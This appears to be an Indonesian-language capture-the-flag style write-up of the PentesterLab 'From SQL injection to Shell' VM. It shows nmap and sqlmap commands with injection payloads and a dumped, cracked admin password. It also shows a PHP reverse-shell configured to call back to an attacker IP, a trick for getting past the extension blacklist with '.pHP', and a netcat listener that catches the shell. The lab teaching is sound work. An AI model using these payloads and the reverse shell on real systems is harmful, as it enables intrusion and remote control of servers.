



Pentester Lab: From SQL injection to Shell I

Ryan Rizky Pratama

```
SQLI [Berjalan] - Oracle VM VirtualBox
Berkas  Mesin  Tilik  Masukan  Peranti  Bantuan
Configuring network interfaces...done.
Cleaning up temporary files...
Setting console screen modes.
Skipping font and keymap setup (handled by console-setup).
Setting up console font and keymap...done.
live-boot is configuring sendsigs....
INIT: Entering runlevel: 2
Using makefile-style concurrent boot in runlevel 2.
Starting enhanced syslogd: rsyslogd.
Starting web server: apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
.
Starting periodic command scheduler: cron.
Starting OpenBSD Secure Shell server: sshd.
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user@debian:~$ _
```

Saat menjalankan server saya mengetahui bahwa machine yang saya jalankan merupakan sebuah linux server berbasis debian, dengan begitu saya memanfaatkan basic command linux untuk mengetahui ip address dari mesin tersebut

```
SQLI [Berjalan] - Oracle VM VirtualBox
Berkas  Mesin  Tilik  Masukan  Peranti  Bantuan
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user@debian:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16384 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:4a:cf:fd brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.31/24 brd 192.168.1.255 scope global eth0
    inet6 2001:448a:6040:7c61:a00:27ff:fe4a:cffd/64 scope global dynamic
        valid_lft 259135sec preferred_lft 172735sec
    inet6 fe80::a00:27ff:fe4a:cffd/64 scope link
        valid_lft forever preferred_lft forever
user@debian:~$
```

Setelah mendapatkan ip addressnya, yaitu 192.168.1.31 saya menjalankan NMAP untuk mengetahui port apa saja yang terbuka.

```
$ nmap -sV -A 192.168.1.31
```

```
[c030322033@parrot] - [~] - [Kam Jul 06, 15:16]
[~]$ nmap -sV -A 192.168.1.31
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 15:16 WIB
Nmap scan report for 192.168.1.31
Host is up (0.00035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
| ssh-hostkey:
|   1024 5c60f74b5920d9656bcd17f2db81ec8 (DSA)
|_  2048 a611adae0e45badeed4e95854492084c (RSA)
80/tcp    open  http     Apache httpd 2.2.16 ((Debian))
|_ http-title: My Photoblog - last picture
|_ http-server-header: Apache/2.2.16 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
```

Setelah melihat ada web app yang berjalan di port 80, jadi langsung saja saya periksa.

http://192.168.1.31/

My Awesome Photoblog

[Home](#) | [test](#) | [ruxcon](#) | 2010 | [All pictures](#) | [Admin](#)

last picture: cthulhu



No Copyright

Terlihat ada beberapa halama, berikut diantaranya:

1. Login Form

http://192.168.1.31/admin/login.php

Login

Login Box

Login

Password

Login

2. Gallery All Picture

http://192.168.1.31/all.php

My Awesome Photoblog

[Home](#) | [test](#) | [ruxcon](#) | [2010](#) | [All pictures](#) | [Admin](#)

Notice: Undefined index: order in /var/www/all.php on line 6

picture: hacker



picture: ruby



3. Gallery Picture

http://192.168.1.31/cat.php?id=1

My Awesome Photoblog

[Home](#) | [test](#) | [ruxcon](#) | [2010](#) | [All pictures](#) | [Admin](#)

picture: ruby



picture: cthulhu



No Copyright

Setelah melihat beberapa halaman berikut, mata saya tertuju url di gambar ke 3, yang menunjukkan id di url tanpa di enkripsi dimana sangat vulnerable terhadap sql injection, maka dari itu saya menggunakan sqlmap untuk mengeksploitasi nya.

```
$ sqlmap -u "http://192.168.1.31/cat.php?id=1" --dbs
```

```

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 3832=3832

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=1 AND (SELECT 8694 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(8694=8694,1))) ,0x7176787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 7663 FROM (SELECT(SLEEP(5)))XwcZ)

  Type: UNION query
  Title: Generic UNION query (NULL) - 4 columns
  Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71707a7171,0x414948634553625852575964594b5649694c6c6a655858434167527771796d6c424864514255746c,0x7176787671),NULL-- --

---
[15:38:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6 (squeeze)
web application technology: Apache 2.2.16, PHP 5.3.3
back-end DBMS: MySQL >= 5.0
[15:38:34] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] photoblog
[15:38:34] [INFO] fetched data logged to text files under '/home/c038322033/.local/share/sqlmap/output/192.168.1.31'

```

[INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 6 (squeeze)

web application technology: Apache 2.2.16, PHP 5.3.3

back-end DBMS: MySQL >= 5.0

[INFO] fetching database names

available databases [2]:

[*] information_schema

[*] photoblog

Setelah mendapatkan daftar database, saya mencoba untuk melihat isi table photoblog dengan mendump isi tablenya

```
$ sqlmap -u "http://192.168.1.31/cat.php?id=1" -D photoblog --dump-all
```

Lalu, setelah melakukan crack menggunakan dictionary-based attack, maka dapatlah username dan password untuk login admin.

```

[15:45:47] [INFO] cracked password 'P4ssw0rd' for user 'admin'
Database: photoblog
Table: users
[1 entry]
+----+-----+-----+
| id | login | password |
+----+-----+-----+
| 1  | admin | 8efe310f9ab3efae8d410a8e0166eb2 (P4ssw0rd) |
+----+-----+-----+

```

Selanjutnya setelah berhasil login menggunakan username dan password tadi akan diarahkan ke halaman admin

Administration of my Awesome Photoblog

Hacker	delete
Ruby	delete
Cthulhu	delete

Add a new picture

[Home](#) | [Manage pictures](#) | [New picture](#) | [Logout](#)

Yang dimana kita bisa menambahkan sesuatu ke server, yang berarti kita bisa menanamkan reverse shell ke server melalui akun admin. Lalu saya mempersiapkan file reverse shell php dari <https://github.com/pentestmonkey/php-reverse-shell>

```
~/ctf-tools/php-reverse-shell/php-reverse-shell.pHP - Mousepad
File Edit Search View Document Help
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get st
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.17'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonis
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
```

Title:

File: php-reverse-shell.php

▼

Saat saya mencoba untuk mengupload ternyata website menggunakan filter agar tidak bisa untuk mengupload file php

NO PHP!!

Setelah saya cari ternyata ada cara untuk membypass hal tersebut dengan cara mengganti ekstensi file nya

Bypassing Blacklists

The first method we'll explore is how to bypass blacklisting. Blacklisting is a type of protection where certain strings of data, in this case, specific extensions, are explicitly prohibited from being sent to the [server](#). At first glance, it might seem like an optimal solution to prevent bad extensions, often [executables](#), from being uploaded, but it is trivial to bypass.

- Don't Miss: [How to Compromise a Web Server & Upload Files to Check for Privilege Escalation](#)

In addition to the regular extensions, there are alternative extensions that can be used to get around blacklist filters. Here are some extensions for [PHP files](#):

```
.pht, .phtml, .php3, .php4, .php5, .php6, .inc
```

Another popular extension for [web shells](#) is [JSP](#), and here are some alternatives:

```
.jspx, .jspf, .jsw, .jsv
```

In some situations, simply changing the case of the extension can trick filters into accepting the file, like so:

```
.pHp, .Php, .phP
```

Maka dari itu saya coba ganti ke .pHP

```
[c030322033@parrot] - [~/ctf-tools/php-reverse-shell] - [Kam Jul 06, 16:09]
[$]> mv php-reverse-shell.php php-reverse-shell.pHP
[c030322033@parrot] - [~/ctf-tools/php-reverse-shell] - [Kam Jul 06, 16:09]
[$]> ls
CHANGELOG  COPYING.GPL  COPYING.PHP-REVERSE-SHELL  LICENSE  php-reverse-shell.pHP  README.md
```

Lalu saya coba upload kembali

Title:

File: php-reverse-shell.pHP

test

Dan ternyata berhasil diupload!

```
INSERT INTO pictures (title, img, cat) VALUES ('shell','php-reverse-shell.php','1')
```

Hacker	delete
Ruby	delete
Cthulhu	delete
shell	delete

Add a new picture

Lalu saya coba tangkap menggunakan netcat

```
$ nc -lvp 1234
```

```
[c030322033@parrot] - [~/ctf-tools/php-reverse-shell] - [Kam Jul 06, 16:21]
[$]> nc -lvp 1234
listening on [any] 1234 ...
```

Tapi setelah saya tunggu ternyata tidak ada yang muncul, jadi saya riset tentang php reverse shell, ternyata agar reverse shell bisa berjalan kita harus membuka file php nya. Karena saya tidak mengetahui letak dimana file yang sudah diupload jadi saya menggunakan dirb untuk memeriksa lokasi upload.

```
$ dirb http://192.168.1.31
```

```
---- Entering directory: http://192.168.1.31/admin/ ----
+ http://192.168.1.31/admin/del (CODE:302|SIZE:0)
+ http://192.168.1.31/admin/footer (CODE:200|SIZE:19)
+ http://192.168.1.31/admin/header (CODE:200|SIZE:686)
+ http://192.168.1.31/admin/index (CODE:302|SIZE:0)
+ http://192.168.1.31/admin/index.php (CODE:302|SIZE:0)
+ http://192.168.1.31/admin/login (CODE:200|SIZE:1387)
+ http://192.168.1.31/admin/logout (CODE:302|SIZE:0)
+ http://192.168.1.31/admin/new (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.31/admin/uploads/

---- Entering directory: http://192.168.1.31/classes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.31/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.31/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.31/admin/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
```


Setelah mengetahui letak direktori hasil upload, langsung saya coba eksekusi

```
<  →  ↵  ↻  🔒  http://192.168.1.31/admin/uploads/php-reverse-shell.pHP  ☆  ∞  LD  🔧  🚫  🚫  🌐  ☰
```

Notice: Undefined variable: daemon in /var/www/admin/uploads/php-reverse-shell.pHP on line 184 WARNING: Failed to daemonise. This is quite common and not fatal. Warning: fsockopen(): unable to connect to 192.168.1.17:1234 (Connection refused) in /var/www/admin/uploads/php-reverse-shell.pHP on line 100 Notice: Undefined variable: daemon in /var/www/admin/uploads/php-reverse-shell.pHP on line 184 Connection refused (111)

Terlihat ada error, tapi saat saya liat terminal ternyata sudah tersambung! Mesin berhasil diambil alih!

```
[c030322033@parrot] - [~/ctf-tools/php-reverse-shell] - [Kam Jul 06, 16:30]
[[$]> nc -lvp 1234
listening on [any] 1234 ...
192.168.1.31: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.31] 56133
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux
 09:31:08 up  1:58,  6 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU WHAT
user      tty2                    07:32    1:58m  0.00s  0.00s -bash
user      tty3                    07:32    1:58m  0.00s  0.00s -bash
user      tty4                    07:32    1:58m  0.00s  0.00s -bash
user      tty5                    07:32    1:58m  0.00s  0.00s -bash
user      tty6                    07:32    1:58m  0.00s  0.00s -bash
user      tty1                    07:32    1:56m  0.00s  0.00s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ whoami
www-data
$ █
```